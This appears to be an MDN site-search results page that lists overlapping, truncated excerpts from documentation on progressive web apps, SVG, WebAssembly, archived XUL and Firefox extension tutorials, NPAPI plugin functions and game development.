...e it? this architecture allows a website to benefit the most from all the pwa features — it caches the app shell and manages the dynamic content in a way that greatly improves the performance. in addition to the basic shell, you can add other features such as add to home screen or push notifications, safe in the knowledge that the app will still work ok if they are not supported by the user's browser — this is the beauty of progressive enhancement. the website feels like a native app with instant interaction and solid performance while keeping all the benefits of the web. being linkable, progressive and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even ...
...n designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a url to someone if you want to share it. progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it. responsive: responsive web design also applies to progressive web apps, as both are mainly for mobile devices. there are so many varied devices with b...
...And 3 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
there are two main, different approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. the web...
...tern this architecture allows a web site to benefit the most from all the pwa features — it caches the app shell and manages the dynamic content in a way that greatly improves the performance. in addition to the basic shell, you can add other features such as add to home screen or push notifications, safe in the knowledge that the app will still work ok if they are not supported by the user's browser — this is the beauty of progressive enhancement. the website feels like a native app with instant interaction and solid performance while keeping all the benefits of the web. being linkable, progressive, and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even...
...n designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a url to someone if you want to share it. progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it. responsive: responsive web design also applies to progressive web apps, as both are mainly for mobile devices. there are so many varied devices with b...
...And 3 more matches
target - SVG: Scalable Vector Graphics
Web › SVG › Attribute › target
the target attribute should be used when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser. ...
... the target attribute should be used when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser. ...
... the target attribute should be used when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser. ...
...And 3 more matches
SVG and CSS - SVG: Scalable Vector Graphics
note: elements referenced by <use> elements inherit the styles from that element. so to apply different styles to them you should use css custom properties. example make a new svg document as a plain text file, doc8.svg. ...
...: azure; --segment-fill-stroke: lightsteelblue; --segment-fill-stroke-width: 1; --segment-edge-fill: none; --segment-edge-stroke: deepskyblue; --segment-edge-stroke-width: 3; --segment-fill-fill-hover: plum; --segment-fill-stroke-hover: none; --segment-edge-stroke-hover: slateblue; } /* non-standard way of styling elements referenced via <use> elements, supported by some older browsers */ #outer-petals .segment-fill { fill: azure; stroke: lightsteelblue; stroke-width: 1; } #outer-petals .segment-edge { fill: none; stroke: deepskyblue; stroke-width: 3; } #outer-petals .segment:hover > .segment-fill { fill: plum; stroke: none; } #outer-petals .segment:hover > .segment-edge { stroke: slateblue; } /* inner petals */ #inner-petals { --segment-fill-fill: ye...
...move your mouse...
...And 3 more matches
Features restricted to secure contexts - Web security
see here for information on secure contexts support. ...
...see here for information on secure contexts support. ...
... api chrome edge safari firefox application cache restricted to secure contexts planned in chrome 70 deprecation planning started in febru...
...And 3 more matches
WebAssembly Concepts - WebAssembly
it is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for low-level source languages like c, c++, rust, etc. ...
...it is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for low-level source languages like c, c++, rust, etc. ...
...rdware capabilities. be readable and debuggable — webassembly is a low-level assembly language, but it does have a human-readable text format (the specification for which is still being finalized) that allows code to be written, viewed, and debugged by hand. keep secure — webassembly is specified to be run in a safe, sandboxed execution environment. like other web code, it will enforce the browser's same-origin and permissions policies. don't break the web — webassembly is designed so that it plays nicely with other web technologies and maintains backwards compatibility. note: webassembly will also have uses outside web and javascript environments (see non-web embeddings). how does webassembly fit into the web platform? the web platform can be thought of as having two parts: ...
...And 3 more matches
Sidebar - Archive of obsolete content
you can use this function to show, hide, or toggle sidebars. ...
...you can use this function to show, hide, or toggle sidebars. ...
...hich ever extension going last "winning". web panels sidebar content such as web pages can be safely loaded as sidebar in the "viewwebpanelssidebar". bookmarks with "load this bookmark in sidebar" checked in the properties open in the "viewwebpanelssidebar". a web page can use window.sidebar to create bookmark with that property. to open a page in the "viewwebpanelssidebar" from chrome code (browser/addon/extension) such as from menuitem, it can call: openwebpanel(atitle, auri); accessing the sidebar from a browser.xul script the sidebar content is always in a document separate from the main browser document (the sidebar is actually implemented as a xul browser element). this means you can't directly access the sidebar content from a script referenced from a browser.xul overlay. to acc...
...And 2 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
privileged context. a typical example is an rss reader extension that would take the content of the rss feed (html code), format it nicely and insert into the extension window. the issue that is commonly overlooked here is that the rss feed could contain some malicious javascript code and it would then execute with the privileges of the extension — meaning that it would get full access to the browser (cookies, history etc) and to user’s files. these issues can easily be avoided by making use of the existing security mechanisms in the mozilla codebase. the following article explains these security mechanisms, ideally an extension that needs to display web content (which is always potentially dangerous) will use all of them. displaying untrusted data as content in firefox, there is a distin...
...play web content (which is always potentially dangerous) will use all of them. displaying untrusted data as content in firefox, there is a distinction between chrome and content documents. the top document in a window is always a chrome document. if you look at the frames it loads, those will usually be chrome documents as well. however, if the document is loaded into <iframe type="content"> or <browser type="content">, it will be considered a content document, and so will be all the frames it loads (the "type" attribute is ignored at that point). so if we look at the frame hierarchy there is a boundary between chrome and content, and at that boundary a number of security mechanisms apply. in particular, a content document can only go up in the frame hierarchy until the topmost content documen...
...an only go up in the frame hierarchy until the topmost content document, it cannot access the chrome documents above it. this means for example that javascript code top.location.href = "about:blank" will only unload the content document but won’t have any effect on the chrome. note: this has really nothing to do with the source of the document. if you open "chrome://foo/content/foo.xul" in the browser, it will open as a content document despite having extended privileges. this also means that you won’t be able to establish a security boundary between your extension and untrusted data if your extension opens as a tab in the browser — so displaying your extension in a browser tab is a bad choice. note: dynamic changes of the "type" attribute have no effect, the frame type is read out when ...
...And 2 more matches
Adding Events and Commands - Archive of obsolete content
t » event handlers just like with html, most javascript code execution is triggered by event handlers attached to dom elements. the most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here. window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need. please read appendix a for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox. another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-br...
...something similar with the onunload event, to do any cleanup you may need. please read appendix a for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox. another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior. also, note that the addeventlistener method receives the event name without the "on" prefix, while element attributes do have the prefix. there's a long list of events you can listen to, and which you use depend on th...
...ke an event argument, which is an event object that holds information on the event. you can get information on key modifiers (in case the user was holding a modifier key like alt while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. for example: <button label="&xulschoolhello.defaultgreeting.label;" oncommand="xulschoolchrome.browseroverlay.changegreeting(event);" /> then on the javascript code you would have something like this: changegreeting : function(aevent) { // more stuff aevent.target.setattribute("label", somenewgreeting); } the target in this example is the button element, so clicking on it will change its text. the advantage of using the event argument is that the method is not dependent of the specific ...
...And 2 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest. the first thing you need to do is add your buttons to the toolbar palette. the toolbarpalette is a collection of all toolbar buttons and toolbar items in firefox, including those added by extensions. ...
...we describe here, your toolbar may not be as easy to customize as the rest. the first thing you need to do is add your buttons to the toolbar palette. the toolbarpalette is a collection of all toolbar buttons and toolbar items in firefox, including those added by extensions. to add your buttons, all you need to do is overlay the palette in your main browser overlay. ...
...dd your buttons to the toolbar palette. the toolbarpalette is a collection of all toolbar buttons and toolbar items in firefox, including those added by extensions. to add your buttons, all you need to do is overlay the palette in your main browser overlay. <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" oncommand="xulschoolchrome.browseroverlay.dosomething(event);" /> <!-- more buttons here. --> </toolbarpalette> <!-- more overlay stuff. --> </o...
...And 2 more matches
JavaScript Object Management - Archive of obsolete content
dow as you need. to initialize your chrome objects, it's usually better to run the initialization code from the "load" event handler for the window. the load event is fired after the dom on the window has loaded completely, but before it's displayed to the user. this allows you to manipulate and possibly change elements in the window without the user noticing the changes. ...
...etter to run the initialization code from the "load" event handler for the window. the load event is fired after the dom on the window has loaded completely, but before it's displayed to the user. this allows you to manipulate and possibly change elements in the window without the user noticing the changes. /** * controls the browser overlay for the hello world extension. */ 〈namespace〉.browseroverlay = { /** * initializes this object. ...
...the window has to finish loading before it can do any of these things. they are bad ui practices anyway and you should avoid them. ...
...And 2 more matches
Observer Notifications - Archive of obsolete content
egistered observers observerservice.notifyobservers( subject, "xulschoolhello-test-topic", "hello"); } in the notifytest method, the notifyobservers call is used to notify all registered observers about the notification topic "xulschoolhello-test-topic". the input parameter is an instance of nsisupportsstring with some text and the last input parameter is a string "hello". ...
...*/ _observerservice : null, /** * initializes this object. ...
...*/ _observerservice : null, /** * initializes this object. */ init : function() { this._observerservice = components.classes["@mozilla.org/observer-service;1"]. ...
...And 2 more matches
User Notifications and Alerts - Archive of obsolete content
ake a notification disappear. the notification shows up again when you come back to the tab that displayed it. this means that these notifications make the most sense when they are related to the page currently being displayed, such as a page trying to install an add-on, or a site you just entered a password on. ...
...n.accesskey = this._bundle.getstring("xulschoolhello.acceptbutton.accesskey"); acceptbutton.popup = null; acceptbutton.callback = function() { that.acceptrequest(); }; // similarly for decline button. nb.appendnotification( message, "xulschoolhello-friend-notification", "chrome://xulschoolhello/skin/friend-notification.png", nb.priority_info_high, [ acceptbutton, declinebutton ]); all browser tabs have a notification box by default, so you don't need to do any overlaying. the notificationbox elements can be obtained from the gbrowser object. in this case we don't pass any arguments to getnotificationbox so that we get the notification box that corresponds to the tab currently on display. the appendnotification method takes the message, id, image (32x32), level and buttons. the level...
...ou should use the 2 alternatives mentioned above whenever possible. if none of those fit your needs then this is an acceptable solution. an easy way to display alerts is to include a hidden box in your overlay, which you can fill with any content you need before removing the hidden attribute so that it is displayed to the user. the best locations for this kind of box are above and below the tab browser. below is preferrable because it only cuts the bottom part of the current page, as opposed to pushing down all tabs and content. notification boxes are a good guideline to what you should aim for: thin, informative and easy to dismiss. another option is to also add a hidden box to the overlay, but use css positioning to locate it where you want. this usually means that the box will be hovering...
...And 2 more matches
Signing an XPI - Archive of obsolete content
should be at least 8 characters long, and should contain at least one non-alphabetic character. enter new password: re-enter password: create a test certificate create a test certificate, using the -p option to set a password for the new certificate c:\projects\codesigning\> signtool -g mytestcert -d . -p"password" using certificate directory: . warning: performing this operation while the browser is running could cause corruption of your security databases. if the browser is currently running, you should exit the browser before continuing this operation. enter "y" to continue, or anything else to abort: y enter certificate information. all fields are optional. acceptable characters are numbers, letters, spaces, and apostrophes. certificate common name: xpi test organization: tjworld ...
... don't forget to delete the certificate from mozilla firefox once you've finished testing firefox 1.5: from ...
...(deflated 37%) adding: meta-inf/zigbert.sf (deflated 40%) adding: chrome/fsb.jar (deflated 74%) adding: chrome.manifest (deflated 69%) adding: install.rdf (deflated 62%) test your certificate to test your certificate, install it into your browser, and attempt to load the signed extension by following these steps: 1. temporarily install the test certificate authority into your mozilla browser rename the x509.cacert file generated earlier to x509.cert import it into mozilla firefox as a software developer certificate authority. don't forget to delete the certificate from mozilla firefox once you've finished testing firefox 1.5: from the tools menu choose options->advanced->security->view certificates->authorities firefox 1.0: from the tools menu choose options->advanced->certifi...
...And 2 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
nsion's defaults/preferences/ directory. the following file, for instance, would change the default keyword search engine, assuming that an engine with the name example engine is installed, as described below: // this is a localizable preference, so it must contain a url which // points at a properties file containing the preference name as a // property. we use a data: url for simplicity. pref("browser.search.defaultenginename", "data:text/plain,browser.search.defaultenginename=example engine"); in the case or restartless extensions, the preferences need to be changed manually, and reverted when the extension is disabled if they have not been changed in the meantime. while changes to default preference values will not persist across sessions, restartless extensions must nevertheless restore t...
... value); // clear the user value if this is the first run, or the // new default is the same as the user value. if (firstrun || userprefs.getcharpref(name) == value) userprefs.clearuserpref(name); } function startup(data, reason) { firstrun = reason == addon_install; // change the default engine name. // an engine with this name must already exist. setpref("browser.search.defaultenginename", "example engine", true); } function shutdown(data, reason) { // no need to do this if this is app shutdown. if (reason == app_shutdown) return; // reset our changes if the values have not been changed // in the meantime. for (let [name, [origvalue, value]] in iterator(savedprefs)) { if (defaultprefs.getcharpref(name) == value) ...
... extensions, the xml search description may instead simply be placed in the searchplugins/ directory in the root of your xpi, as em:unpack is specified in your install.rdf file. as above, install and uninstall code is only provided for restartless add-ons but can be adapted for traditional add-ons. search.xml <?xml version="1.0" encoding="utf-8"?> <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>example engine</shortname> <description>example search engine</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16" type="image/png">data:image/png;base64, ... </image> <url type="application/x-suggestions+json" template="https://api.example.com/suggestions"> <param name="q" value="{searchterms}"/> </url...
...And 2 more matches
Creating a status bar extension - Archive of obsolete content
some of the samples in this series may be similar to samples you've seen elsewhere, but the goal of this series of articles is to help compile information for new extension developers into one place to make it easy to jump in and get started. note: the extension created by this tutorial won't work in firefox that don't have a static status bar (that is, firefox 4 and up). you can find a more up-to-date tutorial in the xul school tutorial the essentials of an extension. ...
...c status bar (that is, firefox 4 and up). you can find a more up-to-date tutorial in the xul school tutorial the essentials of an extension. many of the concepts introduced here apply to any xul-based application; however, to keep from getting completely overwhelmed, we're going to focus specifically on firefox. this sample will add a static text string to the status bar at the bottom of firefox browser windows. if this sounds a lot like the existing building an extension article, you're right. however, this sample will be expanded upon in later articles in the series. download the sample you can download a copy of this sample to look over -- or to use as the basis for your own extension. download the sample the install manifest the install manifest, install.rdf, is a text file containing info...
...a file that tells the target application where to look for the chrome package for your extension. the chrome is the set of user interface elements outside the content area of the application's window, such as toolbars, status bars, menu bars, and the like. the chrome manifest file, chrome.manifest, for the sample follows. content status-bar-sample-1 chrome/content/ # firefox overlay chrome://browser/content/browser.xul chrome://status-bar-sample-1/content/status-bar-sample-1.xul the first line registers the location on disk of the contents of the extension whose id is "status-bar-sample-1". this path is relative to the extension's root folder in this case, but can be absolute if you want it to be. the second line registers an overlay. an overlay lets you add new content to an existing doc...
...And 2 more matches
Getting Started - Archive of obsolete content
for this reason we suggest that you install a second copy into a second directory (make sure that you use a different profile as stated in the release notes) extract the chrome the chrome is stored in \mozilla\chrome and the individual modules are stored in jar files. ...
...for this reason we suggest that you install a second copy into a second directory (make sure that you use a different profile as stated in the release notes) extract the chrome the chrome is stored in \mozilla\chrome and the individual modules are stored in jar files. ...
... this is the place. the next directory is the \communicator directory. this is a catchall directory which holds all of the images and styles for portions of mozilla that don't merit their own individual directory. you'll be able to change the bookmark manager and the profile migration window here. the three remaining directories are pretty self-explanatory. they contain the images/styles for the browser, email client, or html editor. css files the css files in these directories tell the browser how to display the buttons and other controls, where to put the images, what border and padding it should put around them, etc. for this next part, let's modify the standard button. go into \mozilla\chrome\classic\skin\classic\global and open button.css in your favourite text editor. scroll down to butt...
...And 2 more matches
Editor Embedding Guide - Archive of obsolete content
in the beginning there is makeeditable given an nsiwebbrowser instance, get an nsidomwindow from the getcontentdomwindow call. then simply call nsiwebbrowser->do_getinterface on the nsiwebbrowser to retrieve the nsieditingsession from it. from there you call editingsession->makewindoweditable(domwindow, editortype, pr_true). the first parameter is the nsidomwindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window editable immediately or when the document is done loading. ...
...sidomwindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window editable immediately or when the document is done loading. ...
...call a command -- docommand: commandmanager->docommand(acommand, acommandparams); acommand is a const char * to a supported command name ...
...And 2 more matches
Embedding FAQ - Archive of obsolete content
how to customize document retrieval one method is to implement your own protocol method. you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. however, there is a stripped down, uncommented code with eclipse libraries in this thread. ...
...e document retrieval one method is to implement your own protocol method. you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. however, there is a stripped down, uncommented code with eclipse libraries in this thread. ...
...is to implement your own protocol method. you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. however, there is a stripped down, uncommented code with eclipse libraries in this thread. ...
...And 2 more matches
Introduction - Archive of obsolete content
ser interface will be created, with only limited functionality. the actual finding of files will not be implemented. a blue line will appear to the left of a paragraph where the find file dialog is being modified. you can follow along by looking for these sections. what is xul and why was it created? xul (pronounced "zool" and rhyming with "cool") was created to make development of the mozilla browser easier and faster. it is an xml language so all features available to xml are also available to xul. most applications need to be developed using features of a specific platform making building cross-platform software time-consuming and costly. a number of cross-platform solutions have been developed in the past. java, for example, has portability as a main selling point. xul is one such langu...
...an be created from the contents of a xul file or with data from a datasource. in mozilla, such datasources include a user's mailbox, their bookmarks and search results. the contents of menus, trees and other elements can be populated with this data, or with your own data supplied in an rdf file. there are several ways you can use xul: firefox extension an extension adds functionality to the browser itself, often in the form of extra toolbars, context menus, or customizations to the browser's user interface. this is done using a feature of xul called an overlay, which allows the ui provided from one source, in this case, the firefox browser, to be merged together with the ui from the extension. extensions may also be applied to other mozilla based products such as thunderbird. standalone ...
...ture of xul called an overlay, which allows the ui provided from one source, in this case, the firefox browser, to be merged together with the ui from the extension. extensions may also be applied to other mozilla based products such as thunderbird. standalone xulrunner application xulrunner is a packaged version of the mozilla platform which allows you to create standalone xul applications. a browser isn't required to run these applications, as they have their own executable file. xul package in between the other two are applications which are created in the same way as an extension, but they act like a separate application in a separate window. ...
...And 2 more matches
Skinning XUL Files by Hand - Archive of obsolete content
kin a xul file means to change the overall look of that file by changing its style information. in the very near future, it will be possible to skin xul files dynamically and completely -- by pressing a button, selecting a skin from a menu, or by accepting a skin from over the web. when this day comes, skins defined in a global skin file will be applied to a whole application -- like the mozilla browser -- so that all the various windows and parts will look consistent. in the meantime, however, skinning a file requires some manual interaction. this article can help you get started understanding skins and creating skins for xul. it presumes you have at least basic understanding of xul and the application object model that xul describes. following the instructions here, you are going to create a...
...e appropriate pseudo-class stylesheet rules are applied. the parent-child relationship is more economical than the aforementioned contextual subgrouping, which searches the entire subtree of an element for the subelement. finally, mozilla provides some special extensions to the cascading style sheets specification that allow even more control over the way that xul is skinned within the browser. on to the actual global.css file: after some comments, the css file contains basic style information for the <window> and <dialog> elements. after these, the global skin defines styles for some of the xul widgets: statusbar, statusbarpanel and so on. most widgets have their styles defined in separate css files in the same directory that the global.css file. note that much of the style attrib...
...for any one class of element, there may be several pseudo-classes andattribute selector styles defined. when you declare a button in your xul to be of a particular class, you take advantage of all of the styles defined for the various states of that button. for this reason, it can be very efficient to use button classes that appear in the global skin and to make new classes only when necessary. browse through the global skin to familiarize yourself with what's there. in the next few sections, you will be importing this style information into a custom stylesheet and extending it with new style rules for your xul. loading stylesheets in xul for your custom skin, let's assume you want to skin the xul file, xulnote_sample1.xul. to work with this xul file, save it locally and rename itsample1.xu...
...And 2 more matches
prefwindow - Archive of obsolete content
to the id of the pane to start with. normally, you would not set this attribute as it will be set automatically such that the default pane is the same as the one showing when the preferences dialog was last closed. more information is available in the preferences system article. important note for xulrunner-based applications: the preferences system - part of the toolkit - still relies on two browser.* preferences. the first one is browser.preferences.instantapply, a boolean preference. the preference window will not run correctly if you do not set this preference in your application's defaults (see bug 485150 for more information). a true value for this preference makes the preference window apply immediately the user choices, without waiting for the dialog to close with ok. the second...
...this one can be safely omitted in xulrunner-based applications but you can override the default behavior (true for mac os x and false for other platforms) setting it. for animatefadein to work properly, contents of prefpanes should be put into overlays. ...
...tional button. you can set its label with the buttonlabelextra2 attribute and its command with the ondialogextra2 attribute. note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single comma). ...
...And 2 more matches
textbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an input field where the user can enter text. it is similar to the html input element. only one line of text is displayed by default. the multiline attribute can be specified to display a field with multiple rows. more information is available in the xul tutorial. ...
... input element. only one line of text is displayed by default. the multiline attribute can be specified to display a field with multiple rows. more information is available in the xul tutorial. ...
...date your code. hidespinbuttons type: boolean if true, the number box does not have arrow buttons next to it to allow the user to adjust the value. the value may still be adjusted with the keyboard. the default value is false. increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged). the default value is 1. label type: string if present and not empty, this will be exposed to screen readers through the label property. type: integer the maximum value that the scale or number box may be set to. the default value is 100 for scales and infinity for number boxes. maxlength type: integer the maximum number of c...
...And 2 more matches
window - Archive of obsolete content
no system border (that is, to extend the client area to the edge of the window), or a value greater than zero to indicate how much less than the default default width you wish the margin on that side to be. if this value turns out to be less than 0, 0 is used. disablechrome type: boolean set this attribute to true to disable chrome in the window. this is used to hide chrome when showing in-browser ui such as the about:addons page, and causes the toolbars to be hidden, with only the tab strip (and, if currently displayed, the add-on bar) left showing. note: this has no effect if the tabs on top preference is turned off. disablefastfindtype: booleanput disablefastfind="true" on the root element of a xul document, which is intended to be loaded in a tab, to disable the find bar for the ta...
...e in pixels. the actual displayed width may be different if the element or its contents have a minimum or maximum width, or the size is adjusted by the flexibility or alignment of its parent. the css width property may also be used. windowtype type: string set to a string which can be used to identify the type of window. ...
...: string set to a string which can be used to identify the type of window. this might be used, for example, to distinguish between a browser window and an editor window. some of mozilla's window handling functions use this attribute to group windows of the same type together. ...
...And 2 more matches
NPN_GetURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary asks the browser to create a stream for the specified url. syntax #include <npapi.h> nperror npn_geturl(npp instance, const char* url, const char* target); parameters the function has the following parameters: instance pointer to the current plug-in instance. url pointer to the url of the request. can be of any type, such as http, ftp, news, or mailto. target name of the target window or frame, or one of the following special target names. values: _blank or _new: load the link in a new blank unnamed window. safest target, even though, when used with a mailto or news url, this creates an extra blank the browser instance. _self or _current: load t...
...he plug-in. _parent: load the link into the immediate <frameset> parent of the plug-in instance's document. if the plug-in instance's document has no parent, the default is _self. _top: load the link into the plug-in instance window. the default is _self, if the plug-in instance's document is already at the top. use for breaking out of a deep frame nesting. if the target is null, the browser creates a new stream and delivers the data to the current instance regardless of the mime type of the url. in general, if a url works in the location box of the browser, it works here, except for the _self target. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes.
...unction returns an error code. for possible values, see error codes. description npn_geturl() is used to load a url into the current window or another target or stream. plug-ins can use this capability to provide hyperlinks to other documents or to retrieve data from anywhere on the network. this is especially useful for enabling an existing application to operate on the web. for http urls, the browser resolves this method as the http server method get, which requests url objects. use npn_geturlnotify() instead of npn_geturl() in these cases: to request a stream and receive notification of the result. if the buffer contains header information (even a blank line). make sure that the target matches the url type sent to it. for example, a null target does not make sense for some url types (s...
...And 2 more matches
NPN_Version - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary lets plugins obtain version information, both of the plug-in api and of the browser itself. syntax #include <npapi.h> void npn_version(int* plugin_major, int* plugin_minor, int* netscape_major, int* netscape_minor); parameters the function has the following parameters: plugin_major pointer to a plug-in's major version number; changes with major code release number. plugin_minor pointer to a plug-in's minor version number; changes with point release number. netscape_major pointer to the browser's major version; changes with major code release number. ...
... the function has the following parameters: plugin_major pointer to a plug-in's major version number; changes with major code release number. plugin_minor pointer to a plug-in's minor version number; changes with point release number. netscape_major pointer to the browser's major version; changes with major code release number. netscape_minor pointer to the browser's version; changes with point release number. description the values of the major and minor version numbers of the plug-in api are determined when the plug-in and the browser are compiled. for example, plug-in api version 4.03 has a major version number of 4 and a point release number of 3. this function gets the values from the plug-in rather than from the browser. a plug-in can use this func...
...ers of the plug-in api are determined when the plug-in and the browser are compiled. for example, plug-in api version 4.03 has a major version number of 4 and a point release number of 3. this function gets the values from the plug-in rather than from the browser. a plug-in can use this function to check that the version of the plug-in api it is using is compatible with the version in use by the browser. this could be part of the initialization process. for more information and an example, see getting the current version. you can use npn_version() to inquire on version constants (npvers constants), which represent particular browser features. once the plug-in obtains a version number, it can inquire on a version constant to find out if the feature it represents exists in this version. for exam...
...And 2 more matches
CSS - Archive of obsolete content
Archive › Web › CSS
ms-scroll-snap-points-y properties.-ms-scroll-translationthe -ms-scroll-translation css property is a microsoft extension that specifies whether vertical-to-horizontal scroll wheel translation occurs on the specified element.-ms-scrollbar-3dlight-colorthe -ms-scrollbar-3dlight-color css property is a microsoft extension specifying the color of the top and left edges of the scroll box and scroll arrows of a scroll bar.-ms-scrollbar-arrow-colorthe -ms-scrollbar-arrow-color css property is a microsoft extension that specifies the color of the arrow elements of a scroll arrow.-ms-scrollbar-base-colorthe -ms-scrollbar-base-color css property is a microsoft extension that specifies the base color of the main elements of a scroll bar.-ms-scrollbar-darkshadow-colorthe -ms-scrollbar-darkshadow-color cs...
...roperty is a microsoft extension that specifies the base color of the main elements of a scroll bar.-ms-scrollbar-darkshadow-colorthe -ms-scrollbar-darkshadow-color css property is a microsoft extension that specifies the color of a scroll bar's gutter.-ms-scrollbar-face-colorthe -ms-scrollbar-face-color css property is a microsoft extension that specifies the color of the scroll box and scroll arrows of a scroll bar.-ms-scrollbar-highlight-colorthe -ms-scrollbar-highlight-color css property is a microsoft extension that specifies the color of the slider tray, the top and left edges of the scroll box, and the scroll arrows of a scroll bar.-ms-scrollbar-shadow-colorthe -ms-scrollbar-shadow-color css property is a microsoft extension that specifies the color of the bottom and right edges of the ...
...ollbar-highlight-colorthe -ms-scrollbar-highlight-color css property is a microsoft extension that specifies the color of the slider tray, the top and left edges of the scroll box, and the scroll arrows of a scroll bar.-ms-scrollbar-shadow-colorthe -ms-scrollbar-shadow-color css property is a microsoft extension that specifies the color of the bottom and right edges of the scroll box and scroll arrows of a scroll bar.-ms-scrollbar-track-colorthe -ms-scrollbar-track-color css property is a microsoft extension that specifies the color of the track element of a scrollbar.-ms-text-autospacethe -ms-text-autospace css property is a microsoft extension that specifies the autospacing and narrow space width adjustment of text.-ms-touch-selectthe -ms-touch-select css property is a microsoft extension th...
...And 2 more matches
Processing XML with E4X - Archive of obsolete content
n algorithm instead. first introduced in javascript 1.6, e4x introduces a native xml object to the javascript language, and adds syntax for embedding literal xml documents in javascript code. a full definition of e4x can be found in the ecma-357 specification. this chapter provides a practical overview of the language; it is not a complete reference. compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be surrounded by html comment tags to prevent <script> unaware browsers from displaying javascript code to the user. this practice is no longer necessary, but remains in some legacy code. for backwards compatibility, e4x defaults to ignoring comments and cdata sections. you can add an e4x=1 argument to your <sc...
...: if (languages.@type == 'agile') { ... } working with xml objects xml objects provide a number of methods for inspecting and updating their contents. ...
...@type == 'agile') { ... } working with xml objects xml objects provide a number of methods for inspecting and updating their contents. ...
...And 2 more matches
Index - Game development
found 74 pages: # page tags and summary 1 game development apps, game development, gamedev, games, html5 games, javascript games, web gaming is one of the most popular computer activities. new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. 2 anatomy of a video game games, javascript, main loop, requestanimationframe i want to be clear that any of the above, or none of them, could be best for your game. the correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. the concern is mostly with switching to another option. fortunately, i do not have any experience with this, but i have ...
...vascript api providing tools to build rich interactive animations and of course, also games. you can generate and render dynamic 3d graphics with javascript that is hardware accelerated. 16 building up a basic demo with a-frame 3d, a-frame, vr, virtual reality, web, webgl the webxr and webgl apis already enable us to start creating virtual reality (vr) experiences inside web browsers, but the community is still waiting for tools and libraries to appear, to make this easier. mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript...
... are two types of shaders: vertex shaders and fragment (pixel) shaders. vertex shaders transform shape positions into 3d drawing coordinates. fragment shaders compute the renderings of a shape's colors and other attributes. 25 async scripts for asm.js games, javascript, asm.js, async every medium or large game should compile asm.js code as part of an async script to give the browser the maximum flexibility to optimize the compilation process. in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28). to see the difference, toggle javascript.options.parallel_parsing in about:config. ...
...And 2 more matches
Building up a basic demo with Three.js - Game development
